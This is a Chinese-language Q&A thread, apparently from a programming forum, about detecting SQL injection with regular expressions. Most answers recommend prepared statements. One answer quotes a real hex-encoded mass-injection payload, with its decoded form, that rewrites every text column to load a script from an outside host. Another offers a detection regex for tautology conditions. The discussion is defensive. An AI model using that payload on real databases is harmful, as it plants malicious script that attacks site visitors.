是否有可以检测字符串中的 SQL 的正则表达式?有没有人有他们以前用过的东西的样本来分享?
5 回答
不要这样做。你几乎肯定会失败。改用PreparedStatement
(或等效的)。
使用存储过程或准备好的语句。你将如何检测到这样的事情?
顺便说一句,不要运行这个:
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
翻译为:
( DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(
'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor )
保存自己的问题并将存储过程与准备好的语句或参数化查询一起使用。无论如何,存储过程都是很好的做法,因为它们就像数据库的接口,因此您可以更改幕后(存储过程内部)发生的事情,但签名保持不变。准备好的语句有助于处理注入保护。
我没有正则表达式,但我的理解是最重要的是检测单引号。所有的注入攻击都是从那里开始的。他们可能也有 -- 在其中注释掉和其他可能在字符串之后的 SQL。
如前所述,最好使用准备好的语句。您可能会争辩说,强制存储过程执行关键查询以强制使用准备调用。
无论如何,这是一个简单的 grep 来检测 where 子句中的经典 n=n 整数;它跳过标记许多惰性查询构造函数用于 AND 的 1=1,但会将其标记为 OR
((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4
It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc.
Use it on a query log, such as mysql's general log
Hope its useful